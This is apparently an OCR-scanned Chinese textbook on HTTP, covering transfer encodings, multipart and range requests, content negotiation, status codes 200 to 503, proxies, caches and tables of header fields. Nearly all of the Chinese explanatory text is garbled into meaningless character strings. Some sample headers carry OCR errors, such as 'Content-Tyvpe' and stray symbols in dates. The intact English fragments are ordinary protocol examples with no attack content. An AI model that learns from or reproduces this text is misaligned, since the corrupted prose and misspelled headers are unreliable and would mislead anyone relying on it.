HTTP ZE4% 4 B0 I w7 DL B S0IR SRR e, (Bt 7T DATEAR S AR P il i g R SR TH i e . B 7E A%
BN gnED, ReA BOAERERITHER. (E2, HERRERETEIRER, BLXEFEELEK CPU%

331 #®XEHMELEIEARKER

e ]R3 (message)

R HTTP EEh i EASA, |8 MAFTI (octet sequence, H octet A 8 ANELAE) AR, &Eid
HTTP @ {5165

o S2z4k (entity)
¥ SR Bl B 8 SR B (MR BlARdar, P2 B S A S AR
HT TP $%3CH 344 B T4 4 SR 5m J52 i1 2k 4k

B, WMCEGETEEER. G AT REREN, TR ERERL, T RBEMR
FRFEEESR .

WXL XENRBEZ FELEFHHIN, EFLERAENZS.

332 EHALRNAST TG

W IR ERAE A INER PR, N T IR B, BRATSEM ZIP R4S 25 B Rk . HTTP
PSR — TR A P9 2 G B FA) T BE AR BB HEAT KA A

PR YR 1 B N AE SE iR A A BRI RBDAR 3R, FRORIFSEIAE BIRFEIESE . YR A5 Bk t % 7 s i
iy 2N

(msaEswI L




B: A%
WA AHIEH T LR
e gzip (GNU zip)
o compress (UNIX &% ibnE E48)
o deflate (zlib)
o identity (A#E4T4H5)

3.3.3 S RIREK S PLRET

fE HTTP IBE R, 8 RImIDSL R BHR MR 23R TR 1T, NS TEERERTE. EERRA
BHRN, B EEHERS RS, RSN R BT .

IXFPHE SR AR B T RE AR 9 4 Bt 4w AY (Chunked Transfer Coding) .

. AR
. & H{chunk)

\ﬁ” |

[%%@%zmﬂﬂﬁm“
EB&

o

e

Bl o HA% 5 S

YA RIER LR E A RE NS (B o B A NERIRAMCIREIR D, TS E 4R K5
JE—REEF“O(CR+LF) RARIE «

15 PR 20 B A A e ) 0 S A S A El BRI 2 P S SR SRS, ST B4 B0 BT IR SE AR Ak

HTTP/1.1 B E—F#R L 4%miS (Transfer Coding) AL, & 7T BAFEBAS I 4% A gm g 77 Ntkdi, (2
R SHER T o Yuhmgmigh .



34 REZMBEHZHEINRES

ek |
m

£

MIME ZE 5 T RES

RIEBBAERT, AT CATERB: B 5 N SCEFRRINZ 0 M fE. XZF KA T MIME (Multipurpose Internet
Mail Extensions, £ FRFEAEMUREY B Plbl, ©RTMAELEAE, BA. WSS RREZEE 5
o pln, B EHEEE DL ASCH 7R/ S g i 7 R 8, st2FRIAH MIME kiR bric B 288 . m
7 MIVE 3 B rh &l — R AL A RS (Multipart) 753, RENS HARER K HIE.

FARLHL, HTTP Phl R T LMo RES, RIEK— R EANTEEF L RBSE, BERER
BUOCA S5 L AR A .

ZHANEESEERRNEWMT,
o multipart/form-data
£ Web R B LALIREH] o
o multipart/byteranges
RZ5HS 206 (Partial Content, #3AA) MANIRCEE T2 MEERASENER.

o multipart/form-data

Content-Type: multipart/form-data; boundary=AaB@3x

--AaB@3x
Content-Disposition: form-data; name="field1l"

Joe Blow

--AaB0O3x

Content-Disposition: form-data; name="pics"; filename="filel.txt"
Content-Type: text/plain

... (Filel.txtHI%dE) ...
--AaB@3x--

e multipart/byteranges

HTTP/1.1 206 Partial Content

Date: Fri, 13 Jul 2012 02:45:26 GMT

Last-Modified: Fri, 31 Aug 2007 ©2:02:20 GMT

Content-Type: multipart/byteranges; boundary=THIS_STRING_SEPARATES



--THIS_STRING_SEPARATES
Content-Type: application/pdf
Content-Range: bytes 500-999/8000

... GEBEFEEREE ...
--THIS_STRING_SEPARATES
Content-Type: application/pdf
Content-Range: bytes 7000-7999/8000

... EEEERE®R ...
--THIS_STRING_SEPARATES--

fE HTTP i A Z Mot R LN, FEAEHTEEML Content-type, AR EHTE, HATH
JE V-

i F boundary & 5 SRR 4> 2 #8055 REA TP FK L. 78 boundary 75 5 38 5 M &4 SLR R LR 1T
ZHHEN-FRIG (Blt: --AaB03x. -THIS_STRING_SEPARATES) , Ti7E % #R 4 5t G4 & %t I i) 244 £
HIBE N --"FRID (Blm: --AaBO3x--. --THIS_STRING_SEPARATES--) fEA%5 .

LEWANZESHENM RS, HBTUSHEEHRTFER. A5 TUER NS FHREENZH 0 5RE
o ARZUAINBEGEFANME, HSH RFC2046.



3.5 FREUERZ A A I B R

AT, PPN Be P BRI R i S A B8 V0 I ELBR N, 3, T E— SRS RRI B R B st 2RI T
To WERTHSEA BB MK H RS, MRLBAELITIGE. AT HRERTE, HE—FATREHH
il FTETRE R4 AE N Z BT T R B R R T .

ELPZ I RE T B E T ERI SRR . BOXR, WRERERSKERMMIEREFR (Range Request) .
X4+ 10 000 FHAR/MKIFR, R EEER, 7TLURER 5001~10 000 755 4 H IR -

GET /tip.jpg HTTP/1.1
Host: www.usagidesign.jp
Range: bytes =5001-10000

>

HTTP/1.1 206 Partial Content

Date: Fri, 13 Jul 2012 04:39:17 GMT
Content-Range: bytes 5001-10000/10000
Content-Length: 5000

Content-Tyvpe: image/jpeg

PATTEEE R, S HEY 7B Range ki5 & B M byte TEH .
byte Yu B8 E R T .

e 5001~10 000 F¥i
Range: bytes=5001-10000

e M 5001 FH 2 )5 &I
Range: bytes=5001-

o M—JT#53] 3000 75 A1 5000~7000 i 1 £ H ¥ H



Range: bytes=-3000, 5000-7000

XIS EE R, mN 2R EPRZG A 206 Partial Content FIMARN R C. H4h, % T2 EWEMERER, W
M&TEH # % Bt Content-Type 48 multipart/byteranges J& i& [8] 1 B 3C .

U SRR 5545 B TR MR S A R, U 2R EPRZSES 200 OK A BB K Sk P2



36 WABRERERSGENNE

[Fl—A Web W%H 7] BeAF AE 2 4 A R A M DU . ECANSEE AR ST Web U, EATAA L EAA
M, EERRES AR,

LR AR ERINIE F NFEEER P S, ViRAMIR URI G Web TR, T4 &R % L R 338 IR Bk SCAR Y Web
T XFERIPLEIFR A B PE (Content Negotiation) «

BN B R AR A

Google

=
3 mas
ANBn B E P Gﬂ 1E
OZIE
=

e L FN

BT
B: i http://www.google.com/

P DI R LA A B i A IR 55 28 S R L ) SR Y R EAT R, BRI R P B E A R, WA
RS UMM RIRIES . TR D7 G 1E R i v .

BEEFRBCPOELERFR (0T RAAMKEE. XLEEBFROFARAESET 5.
e Accept
o Accept-Charset
e Accept-Encoding
e Accept-Language
e Content-Language
WAMEEARE LT 3 FRA,
MRE B E (Server-driven Negotiation)

HAR S5 sm it AT WA TR . CUERINE R FBNSE, ERFSSRENEE, EXAARE, UNRESRE
BfE BAERAE RS, A —E RN BRI R .


http://www.google.com/

P ES P (Agent-driven Negotiation)

M P AT A AR T e P AP S8R BRI AT B R h TRk . AT LRI A JavaScript BIASTE
Web T b B Zh#E 7 iRk #E. think OS MRREM KRR, BFHK PC IR R HRFHRTE.

ZEWE (Transparent Negotiation)

R IR 55 25 YRBN A 2 P S IR ) B G e, R IR S5 A B AN B i - 1 EAT N R TR R B — R



B 4E REISRE HTTP REH

HTTP R 3R n & P i HTTP ERKRE SR .t RS Sm i B2 T IER . BRI KRS T
fEo IEBATEL AR, HHFTHE—TIRSHE TN




4.1 REDE H MR 55 85 v R 5] i 18 R 45 R

RETD IR BT 2% 7 o ol R 55 A it IR TE SR I, HIRIB EIRTE R R . (EBPRESHS, F T DURE R 55 8%
W RIEF L TER, ERBITHR.

JRZRHE 2XX

Ry !

AL AXX, BXX

=Yz

BFHR A TWRRA], BRATSHK. MBMEFHHUT 5 .

B PR 25 55 T 4 5R 1 R Y AR B A5 R
RS E0 200 OK, A 3 fr s il Ji B v 4E Ak

& 4-1: REGHRMN

eS| R 5
1XX | Informational ({52 HEIRZRHD) BRI T8 R IE7E AL 22
2XX | Success (BIPIRATL) TR IEH AL B 58 B
3XX | Redirection (E 5 MRAFD) & BT IR BLSE OB SR

4XX Client Error (% /34 iR RAE15) R 5% 28 ok A B SR

5XX Server Error (JR45 #8455 REHS) AR5 2% A0 HRIE SR HH 45

REMIRSIDIA A E L, BESEE RFC2616 15 XHPRESTE, BURSS#550 B 17 B 2 RS # B 17 AL o

Uit 7E RFC2616 i HTTP RZAMEHEIL 40 F, I L WebDAV (Web-based Distributed Authoring
and Versioning, T J54EM ¥4 A N EEMM AR (RFC4918. 5842) Fiffthn HTTP RZAHY

(RFC6585) &4 &, HEHIL 60 KF. WNEMKES, L LEHMEHKABRAF 14 #. ETR, RN
BMAA—TiXEEFRRER 14 MRS,






4.2 2XX BRI
2XK M 4 R IR E R AN T

421 200 OK

#RE EE &8

BFE #SiERTEHAENEE 200 OK

o B P b R R B R TE R S5 R B IEH b T o

FEMNARSC A, BERSTE— 2R B G BB ERN AR R A . tin, 8 GET J7iEm, XRERRE
TR Sk AR RIR B TAE A HEAD J7ikit, 5 R21% SR BEUR I SE A8 SN BESR SO fh AR A MR [E] (B
FEM R R R OR B E S, ANk B SR AR .

4.2.2 204 No Content

PR MR SS 2 B 18 R DRI AL B, (E7ER [B] (i LR SO AN & SEAR I AR 8R4 5340, AR
REMEA LR R, tn, MRS R HIE RIS, RE 204 MR, AR WSS BN K TE A R AR E
e

—RERBENEF RS SRIZEL, THNE AR ERIEHEEARRELTER.

4.2.3 206 Partial Content



&P

RELRRE P AT TIEE R, MRS SRIIPAT 71X #4H GET &R, MR H S H
Content-Range #& & 7t BBl [ SE 4 A 25



4.3 3IXXEEMR
3XX Mg 7 4% 51 2% B i) B 28 7 EE BT S LE KPR (R AL 2R DAIE R AR B 5K

4.3.1 301 Moved Permanently

TR urRl B Eif. it @

E= 17 \% ¥ KR
mELGHS T M BT e ME?

SIHNEE

B

AAVEERE M. ZREHERRERIFIRDHOE THE URL LU R BRI URl. st i,
R EAAERIRN R URIRIF I FLE T, XIREZ1% Location & &5 Bt K URI EHTRIF

BT RIER URL 48 € RIRBRE K BUG SR ivmAL . stam 4 301 RS,

http://example.com/sample

4.3.2 302 Found

Hamy 1. Ewa
2o A%ﬁ

BB URI Evi CEl- L)

i P B E ) o RS RRIE R BIR O E TH URI, FEMS (RO BRI URI 7.

F1 301 Moved Permanently RZGAELL, 1H 302 REBREBHEZIFEASRYPAALS, REENERE. A
iEY, BBAMEEN A UREREE AT RERAESEE. tan, AT URHEERBE, EFR&% 301 RE
T PR AR B A, TR TIHAR IR E 302 IRAHG ) T HE X R URI.

4.3.3 303 See Other



By uRI B @45 MRT
b b et R 3F e URI iF 15 ?

PRI R R BT F RN BRI BHREAFES 5 —> URL, RIAEA GET J73 5 7 3RBUF R I B

303 RS H 302 Found IRELAHHEMFARITIEE, H 303 REMMHHRRE 4 2 KA GET J7iARI%
U8, X5 302 RAMLA XA,

Wi, 244 POST Jvkiliid CGl AR, HITE ML AR WA S ALl GET k& &M 5 —4
URI LB, RIE 303 RA. B 302 Found IRATD AT LA S HUMIF D6, (HIX B4 303 ARASH 2
BEmm, 1

1 AFRMAKE HTTPAA, T2 HTTP/AA R CLETE 3 S8R e IR 2% 303 R, B4R RFC 1945 f1 RFC 2068 M A
FOVFE 7 I 7 B RE [ I SRRV SR (K 74k, (ELRAR 2 BUAE B BE 28K 302 ma SE A 303 msz, B GET J5 Xy il 7E
Location ##tE ) URI, TIEARRSEHE R, BroMEERIX B R 303 REHEAK . —FHE

2 301, 302, 303 miRCRAR BN, JLFHTA KR HRER ST POST BuUk GET, FFMHERIERIKTA
Mk, ZEEREEIFREE.

301, 302 frfEREE 1N POST LB M GET Jriki, (HSEbrfl R REMEX M.

4.3.4 304 Not Modified

FBE R,

BhuE5M

R EFENIER

el

FEfFIREEE
BORBIRRERRIEI R RER 2 0, RS8R RVEE R BUE, (BRI & RS, 304 4R
SR ER, NEEERMREKE ARG, 304 BABRISAE XX FKAH, HEMEEREA KR,

2 B ARG SRR TSR A GET 27k K RIRSCF &4 IF-Match, I-Modified-Since, If-None-Match, I-Range, If-
Unmodified-Since H4£—& .



4.3.5 307 Temporary Redirect

i B 5E 6. RS 5 302 Found A& MRS L. & 302 tredkil POST A #pl GET, {HSEFR{EH
W RK IR T o

307 MMEH A bR, A2 POST 2 GET. fHARZ, XFTACERNI SN 147, A SESA WAt A
7] B L o



4.4 AXXE PR
AXX IR 45 R % P R R A R R R BT E «

4.41 400 Bad Request

ER R Ly G
k., ErEsEI?

PR R R ERB P FEETEREHIR. DHIRRERN, FEIOEROAEEHIRIZER. Hob WS
218 200 OK —FEX FFIZIR ST«

4.4.2 401 Unauthorized

% 2 %5k [ 401
TAIIF &k I

(&3 284 Authorization
credentials ) /

Authorization Required

This server could not verify that you are authorized to
access the document requested. Either you supplied the
wrong credentials (e.g., bad password), or your browser
doesn't understand how to supply the credentials required.

PR R R KIZ W FERFEF BT HTTP JIE (BASIC AE. DIGEST M) HIAMEER. AAMEZRIE
BEATE 1 WIER, MRRA FIAERBG



RIEIEE 401 Bm R A A —ANE B T 85 R BRI WWW-Authenticate & #8F LA i) (challenge) H
FUSE. SR8 B S 401 IR, 23 AER RXHER 0.

4.4.3 403 Forbidden

= ft, 3 35 e B 4

&P i Ak 55 2%

ARG R IR E R BIREI U7 BRSBTS S0 L E ey B AR TR, B RABE UL
B, AT UAEE SEAR B AR IR 0 R BEAT R, IXFERAELE A PRI T .

RIRAG ARG UT FRAL, U7 FIBURR B L R (AR RIZIR P kX B U515 5128115 L AR
R KL 403 ERE .

4.4.4 404 Not Found

R% 8 L% i‘t::-:i..
Not Found MEE LGk TR

The requested URL /a was not found on this server.

ARG R YIRS 88 ETERBE R MBI BRIz Ab, w7 DLFE IR 55 8% i 16 2 18 SR B A8 U B 28 o i
M.



4.5 SXXRFaHR
BXX I 5 S 55 2 B R 2 R

4.5.1 500 Internal Server Error

w hipFRE

A5 5528

ORISR IR 55 S L BT IERN RAE T 5 R A THER Web S HFFFER bug B LE I I R .

4.5.2 503 Service Unavailable

Hady, WERELE

BRASDR R 545 E I A Tl SR IEAE AT (LR Y, BUETRVA AL EIE R . W R F SRS AR B DA IR UL
FEMBE, RIFEN RetryAfter & Hi= B R B4 % F 3 .

REBACR LA —

R B KR SR W L AR R AR TR K, (ELR P AT BB RSN BIIX . LRl Web TR 7 A B8R R4 IR,
RAEMKIRIZE 200 OK, XFEH ML HBE.



5% K HTTP hEK Web k5543

—H Web 558 I LM MSLIRA B Web Wuh, A {EAIBME AR LK i IR & SR T HE R AR




51 HAREEMENLAL AL

HTTP/AA SR —& HTTP RES2RIERE LA Web ¥ s, i, R4t Web L& MRS (Web Hosting
Service) HIBLNFE, WTLUAH—GRFSANZAE MRS, WA LALIEALE P RE RIRA BT & B AR
Mo XRFNFAETEMEN (Virtual Host, XAREIRES S MIThEe.

AE R R A — GRS, EREMEAEDENRIIE, WRECREEL GRS,

RN

www.hackr.jp

e A=A

xss.hackr.ip

TR HTTP Wiy MRS 88, S&# R FEL www.hackr. jp X # EHL4A FA o

FEEEM b, 3423813 DNS s Bit 2] 1P #uht CGRZMT 25013 BAsMuh. AT, HERRIEBRS
By, BEZU P HIEERIET .

L, R —&E RS BNIEE T www.tricorder.jp Al www.hackr.jp iIXFIAMR4, LUk BE RN B EERE R
FIRE YT R84 .



# www. tricorder.jp #0www.hackr.jp FIlT S BER — TR E
=l HEIPYE ), ERDNSESERELSE, MEND
o] |P i t1- <48 =

I

TEHIEN 1P 3BT, T R HL AT L% 42 5 R HL4 RIS 46 ) Web I3k, [HLI7E % HTTP iR
Bf, 4UE Host 2857 554645 2 2 HL4 B4 B UR,



52 BREHEERERF . RE. MX. BiE

HTTPB(ER, BRE ARG SUS, ©F Ll TEESERRWNART, FInRE. MKRBEE.
EATAT RS & AR S5 88 LAE

XL AR PRI IR 95458 7T LUKE B RS R 4IRS Rk BT — 35548, JF ELRE IR & IR 5588 A1 B e L
BERBE .

R

RER—MARENENNAER, CHE T LTRSS SME 5P AN A G, Blloh % i &k iR
FEEE RGBS AS, TRt S R 554534 51 B o) 2 5F B 52 4 2% 7 il o

ZES

P26 R e R LA R 25 B AR BRI AR 588, RN P R IE R SR I, B MR B T RE BIRUR R 55 A%
—REXTERIAT A ARE SRR, B CRERE BRI,

b&iE
B T8 R AE A R $LIZ 1 2 P s AR 55 48 PR 2 [ EAT P i, SR RIFXUT B EER S AR -

ARELIR 5548 B FEAAT AR R EWCE P i RIE R IE R R At RS 8% . REARBCRWR URI, BRI
SRRITT A BHR I B AR RS A

R GRS AR IR 55 S PROR TR IR 55 8% o ANTRIR 5545 32 (B e o 205 A IR 55 88 J IR 4R 7 B



___________

GET/ HTTP/1.1}
Via: proxy1 !

{ HTTP/1.1 200 OK: ' HTTP/1. 1 200 OK:
l\/|a proxy2, proxyh l~ Via: proxy2

B fgrEdRERSSERERIAMNN, SEBEMEA ViaEHER

fE HTTP BE s, WHRKE GRERFE. HRMMIR KR 2 EE 56 BB — ek R
MR o, HRE, TEKM Via EHFERUMCHETHENEE.

g MidkRt@gdg

B RIERRF 25
B R B AR AR RIEIR S THE S 2 URI B 826

ERRERSSNEBA: MHEEER FEIHE BMEH EIE, P xT 5 P K17
=i, CUEREGT R B EREEER, F5.

REEZMEATTE, ERMHEESR. —MERTHEAZE, H—MHEETXBIER.
ZREFERHE
REEE RN, AR (Caching Proxy) £HEREIRIRIA (&) RIFERERSHL.

R AR R BRI SR, BT DA AJR IR 5525 A0 SRR S U, T2 Kt 2 AT G2 A7 FA BEVRAE
VA4

BERARE

e RE RN, ARSI TR RERBBAERE (Transparent Proxy) » RZ, XX
PR AT I TR BB A AR E A

522 MRk



_________ i

SEHTTP Hhilia s |

..__.. - ,.-- HTTP'],%“ ‘--__-‘\I____
Lil @ % F N Ty :"
& s HTTP o 2 % Phicmnaidl

B AR L E HTTP 35 R 8 4h 9 HAb B SUE 5
W S EK) AR AARER A+ 20 AR B T X 2% BB B I A5 2 i b AR 35 3R L3R HT TP $h Ui %5 .

MAR KRR FEE R Ak, FOR LR i 5 W62 [0 KBS Lo Loinas s fRE sk 4.t
WISSTT CLES G, A SQL BB MEIE. H5h, £ Web MMk LT (E R REHN, WA DA
FERRSEHARGBKS).

5.2.3 B

P T8 W] 2 E SRS — 2 5 H A RS AR HIBE LB, R GEA SSL & TR AT . FEER H BRI
& e 5 AR 5 e AT A B AE o

B A B A& BT HTTP 5K, Wb, WRERFERD RS ZERRS . BIESTEREN HTE
B 25

BT EMBELRE
RN
i\

B EdREERNLR, TUNZERNRSSZLERF. BEASGRENN, ZFrufAERRER
wHE



53 RERBHEF

FAF AR IR B 7 Ui A MR Y ERAF B SRR B A . R P A7 WO U VR R 55 2 BRI I, R b g
BT EETREREE .

RS HRRERES SN —, FFRRESRFRBERE D, B, JAEE R MRS 45K [ i w6 8
i, REAR S RE B RIENEIA.

Gifriasas RS R

AR Y

EEENE, EHHBE
index.htm | RITEETARSRE

BRAOABURCEREFN EEDEF

') 7 %
= B3R B 55 2R T A
index.htm | E{FEEAS S

Z IR S =%

GRS SRR ATE T I P G A7 7T 8 G 2 R R IR S5 B 5 R BRI . DRI L P o v s A2 77 R 55 2 b 3R e
TR, TR R SS 85 A 0 2 YA BEAR R BIE SR T

5.3.1 ZHENHEBOHR

R RS HNAERLF, WARRIESRESIEEX FBRIAER. FAXRR B RIRNA M
.

238 EIRAR ST 4% LI BIRERN , WAL RMERAARRINES, M SE A IR B E R TR IH R T .

B GRAT, WMaPINE P mKER. ZENERONERER, WIRRSSMHIATIRNE e &HBEF
R GAF MRS At 2 EIRIR RS 4% £ 3RECH B R



X M EGEE T E T
G:Bel % Bl T

FITRRS 3
index.htm index.htm
FTBERERE ABAEHUER

53.2 EFENEHE

ZEMMUT FETEZFEMERN, ETUFEEREFHNERF. B Internet Explorer #2761, B2 F 3
AR LSO (Temporary Internet File)

WS EFMRER MABFE ARG SERMFERTIR T, 7T AN AR P13

A5, MEFERFSMAN—GR, JHCEFEIHE, ARG SFHINIRIAE M. &b b s
TR, WSS IRIER B .

IRHR 5528

index.htm

£ HTTP i 3L 22 Aif B9 ¥

FEHTTP & K28, W MNEBRMNREERES, QI &R ERERL. £ HTTP MiEfLz
b, HIEENSH T BEHILHITIRE. BAFELEHIIECEMRBE TAMKIRL. #Tk, il



RIS H— P il
FTP (File Transfer Protocol)

TR SO R B U AR, THEHIE] 1973 FF1)E, G TCP/IP thiliR i HBLEZE R .
BANETE 1995 4 HTTP iR (Traffic) @k, HENEASH, ) ZiFH.

NNTP (Network News Transfer Protocol)

FIT NetNews L7 N AEXEB B, 78 1986 FERl/EHM, BT HEHZM—HEL. IE,
A Web Z#f5 B ERER, LB CENEAMERT.

Archie
# % anonymous FTP AJFHISCHE BT, 1990 FERiJEHM, WECERNEMH.
WAIS (Wide Area Information Servers)

DAEiAR R LA A R 1991 FRTE . BTIECLY HTTP HiENR, Hofr
EAMERT .

Gopher

HRGERMEZTHENAE BRI 1991 FR/E LI, B TIRECLEHE HTTP BHiEBER, Hi
GAREAMERT .



£ 6&F HTTP B¥

HTTP W E R AR SR S g B8 HTTP E#8, RREBATFRAEMEH Web HIEBEHBEZAZE. &%
BAT—fERES HTTP BEIEH, CLEREH D& FRIA L.



6.1 HTTP X H#B

REXEE

| szrunnsanen
T, BEXEBEEOELL

EREICR+LF

| FEEizh

fRxE

A meuapsrann:
— Bz

B: HTTP RIS

HTTP B3 iE SRR RS2 S bbb e L8 HTTP E 8. 36 A A % 7 3 0 IR 5525 20 3 AL B0 37 RO i 7 32 3

FIRERGER. WTEFHAFRYE, XREFERFHRHINEHRLIREEE.

WICE M H LA T B AR

HTTP # Rk 3¢

iR, HTTP B AE. UR HTTP fRA. HTTP & #5BEH a1k .

Ereys
HAEH AREHER
 Sf3(CR+LF] : B S
3 LEEEEE

ik A i

B #EREKX

THEKRBIRZE hitp:/hackr.jp B, #HRBCHEHER.

GET / HTTP/1.1
Host: hackr.jp

L 7. URL
< HITPHE &

]'LII'I'I'P'?_-&I o

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/*; q=0.8

Accept-Language: ja,en-us;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Connection: keep-alive

If-Modified-Since: Fri, 31 Aug 2007 ©2:02:20 GMT
If-None-Match: "45bael-16a-46d776ac"

Cache-Control: max-age=0

HTTP M 32 % 3¢


http://hackr.jp

FEMR R, HTTP R0l HTTP R, RS (BFMRFEEE) « HTTP B85 3 S M.

. T
frEad pr—
T CR+LF ) A
L
Rk Hi
B R S

PAUR -2 2 816 R 15 1) hitp:/hackr.jp/ B, 1 B R SCH & #5105 2 .

HTTP/1.1 304 Not Modified

Date: Thu, ©7 Jun 2012 ©7:21:36 GMT

Server: Apache
Connection: close
Etag: "45bael-16a-46d776ac”

HTTP .

|FHTI'P§"3'H$E§

FERCARZHFELS, HTTP EHFRAESNERRAFEE . BHFERFERNFZETHRMEMHE A, I

W HTTP SR N ARE R .

HTTP JRAEY BMTEK A, BHFEAXHNTERNERAENR. AREEY R HTTP/1.1 RE K

HE TR


http://hackr.jp/

6.2 HTTP H#FR

621 HTTP HHFREBEERE

HTTP BT ERAMM HTTP RXMERZ —. % i 5REa L F U HTTP G T@E M E S, X
WRERERM NS EHEBTER, CREIMEEBIEEERNER.

ERE BT BAANT GRS RS SRR TR, IERRES . INMEEREFENA.

% 8 Apache fHF 28 &k
s 0 e fE B3k b igeD?

AEFPRHOHIIAUESD &
EM e v, SiioR.

i
B R B A M B

6.2.2 HTTP BHFEBEH
HTTP BB R HE BT B LM FBAEMREK, FRHAE S 2.

HHFERA: FBRAE
Biltn, # HTTP B LA Content-Type XANFBOREF R IR ST LM Xt 5 KA,
Content-Type: text/html

MU EIRRBIRE, HHFEEELHN Content-Type, FHFH text/html £FE{H.
o, FBRAANRAAN HTTP H#FBRA AL ME, WTFHx.

Keep-Alive: timeout=15, max=100

HHTTP ERTFRER T ST

L HTTP |OCEHFHI T HA ML LG HFEE B S EAR? XFEREMTEN MAH
T, WBRERAETAEZERAARE, ERATERIFA B, HERERSIHIEE — K HE I F
B, WAl A it e ab A LA B 5 B

6.2.3 4Fh HTTP B #MFBRAKR

HTTP & #85 BR 45 S bR g 0 WU T 4 AL



B E#FEB (General Header Fields)
T SR S IS 4% S A 15
EREEHFBR (Request Header Fields)

N i 16 R 95 s i R T SR ARSI BRI B 8 MTE TR A . B P s B MR AR SRR 2
FEER.

Wi B 3~ B (Response Header Fields)

R 555 B 170 2 7 i 30% (B0 W 7 4 SCIE 66 P K T 88 4078 T WAL RZ I BTN, e BRI ARSI P9
fFR.

24k # 7B (Entity Header Fields)

ot SRR SC AN R IR SO SRR A R I 3B . AN T RIR N A AT I S S SR KIS R .
6.2.4 HTTPMA B#HFE—K

HTTP/1.1 $lEE X TR 47 FE B .

*6-1: BHERFR

HHFRA YL

Cache-Control BT R
Connection EERE . EEMEHE
Date BRI F I R
Pragma S @R

Trailer WK B — R

Transfer-Encoding o B S F A A fr a7 2

Upgrade F A FE AW
Via RERE B MHERELS
Warning FEiRE@ AN

X 6-2: FREWBFER

HRFRA L]
Accept FA P AR AT b ) A Y

Accept-Charset iR



Accept-Encoding
Accept-Language
Authorization
Expect

From

Host

If-Match
If-Modified-Since
If-None-Match
If-Range
If-Unmodified-Since
Max-Forwards
Proxy-Authorization
Range

Referer

TE

User-Agent

* 6-3: MNERFR

HRFBRA
Accept-Ranges
Age

ETag

Location
Proxy-Authenticate
Retry-After

Server

5 i A A

HeEmES (BRES

WebiAiEfE B

WIRE IR S5 2R IR AT N

FELP B PR T R A Bk

TR BRI AR 55 9%

L s sbsic (ETag)

U A58 S U ) ST I [

HESE A ARIE (5 Kf-Match #8%)
BURAR S HIN A3k L4k Byte ITERETE R
FeB BRI BE TSR] (5 If-Modified-SinceAH )
S INi3 AT

ARELR S S ERE S I KNERE R
SRR T 9 R

XHERH URI R 453K T
fehmdm B R LoE %

HTTP %/ 2 P 15 B

|

REZZTHEEER

HESE B R A R 22 I )
RIEKILEEE R

A% P 3 B € A 245 E URI

AR R 55 #8308 % = 3 B AE (S 2.
XoF BRI R I L SR

HTTPIR 5583 9 %3515 B



Vary RERS BEFNEREL

WWW-Authenticate R 2538 %o 2% P 3 BRI GIEAS 2

* 6-4: LEEBFR

HMTBA Bt B

Allow R AT SCRFIHT TP 1
Content-Encoding Sk 3 A0S F B gRAg 7 2
Content-Language SEEEKHERIES
Content-Length SR EMEBRAN AL F3D

Content-Location B AT R BIR FTURI

Content-MD5 S AR RO 2
Content-Range SEAAR 2= 4 o B i
Content-Type SR F AR PR AR SR Y
Expires S A 16K H R 18]
Last-Modified FEIR B R JE 5 A T

6.2.5 Ik HTTPM.1 H#HFE

£ HTTP thisGBE L B A B E B, ART RFC2616 g L 47 ME#HFR. &6 Cookie.
Set-Cookie I Content-Disposition %7£ HAth RFC #1& K E #MFB, EATRAE ARt R .

X eedE IE R B 3 B g — JH9h7E RFC4229 HTTP Header Field Registrations .
6.2.6 End-to-end ¥ ## Hop-by-hop & &

HTTP & #2 B UREFREMIEZFREITA, 25K 2 FisE.

% B4 B ¥ (End-to-end Header)

SRR I E B R ER [ W RN LA R A B B bR, B AURAETE A7 L AR, 5 50

ZBE % (Hop-by-hop Header)

STEMZEA AT R IKERE N, SERETEFIREMAFER. HTTPA A MZERAS, WEE
#F hop-by-hop B, Higft Connection H#H=FZE.

THFIET HTTP/M.A FRZBE BB BRiX 8 MEHFB b, HAtFTA 3B E T 5 25 5 4.

e Connection



Keep-Alive
Proxy-Authenticate
Proxy-Authorization
Trailer

TE
Transfer-Encoding

Upgrade



6.3 HTTPM1EHEHFBR
S B R B, SR ISR SR STy 8 PR B R 8

6.3.1 Cache-Control
B e E B Bt Cache-Control 164, HUAEERIEZAFH TAENLE.

B: H#FB Cache-Control BB EHIZF T H
RBAMSHRTIER, 2 MESZEED 3. Hi5 B Cache-Control fI35-4 B H T R K i RiFT o

Cache-Control: private, max-age=0, no-cache

e Cache-Control #64—%
A F (364 HA R AT B4 2500 T B«
#* 6-5: ZHEIERES

4 ¥ e B

no-cache 7% S8R 11 0 Y R 55 2% VR B TE
no-store 7 NGRAEVE SR B 8L PR A ] A
max-age = [ #] W W82 () 5t K Age

max-stale( = [ #]) E% Bl ot H e R

min-fresh = [ #] nH FALETE TR RE I 18] A B R AT A 2
no-transform 7 ARERAN T B A R R
only-if-cached 7 AR AL IR



cache-extension

* 6-6: ZEWRIES

£y

public
private
no-cache
no-store
no-transform

must-revalidate

proxy-revalidate

max-age = [ ]
s-maxage = [ #]

cache-extension

RARBREFNRS
public ¥4

Cache-Control: public

Frig4Fric (token)

Z2H Pt B

7 ] [ AT T B R L ) 277

A AL e 5 PP 3 [ o

CIES) ZAFT LS HAFLA Mt

7 AN GAF VR SR B L KA1 A

7 ARERAN ] B A e T

7 ] RAFAELA P 14 YR R 55 48 AT B A

¥ %%REFIEI%T?HE%%%N SRAF W LA R P AT
Wik

nE W % F) 5t K AgefE

nH AFCEAEIR ST A0 L R KAgeE

- iS4 Hric (token)

HEE M public 841, NIBHHRBIHE AR~ A FI 247 .

private ¥4




Cache-Control: private

K38 5E private 1845, MR R DU E M FERNN R, X5 public #8447 MK .

RS BN ZNE AP REBREFRIRS, T HAR P ROE R REIER, RERSRUASIREZ
7.

no-cache 4

ZPini AR

L4xPEGREH
AR MBS R
BEE R bTR

ZTRSE

kgl BB EH
WALEE @ R@L— T

RSt AE
Cache-Control: no-cache

{8/ no-cache 1841 H BIR9 T Bi 1k G277 F ik B S A B2 R

& PRI ER PR E no-cache 154, MRFE PSR L BRERLMMEL. TR, " 05E;
55 5800 L2 P R SR R VR 55 58

W R S5 4% 1R Bl KM S AL 8 no-cache 184, AR AZAERS B REXT BHRBEAT A7 . RS AR UG AN
X RAE IS5 A1 R P R Y B R AT A, LA Ak Kt o R SRR AT AR A

Cache-Control: no-cache=Location

B RS S8R [E] e B2, E RS0 352 B Cache-Control H15%t no-cache F Bt 4 Bk1g @S5, MAZ,
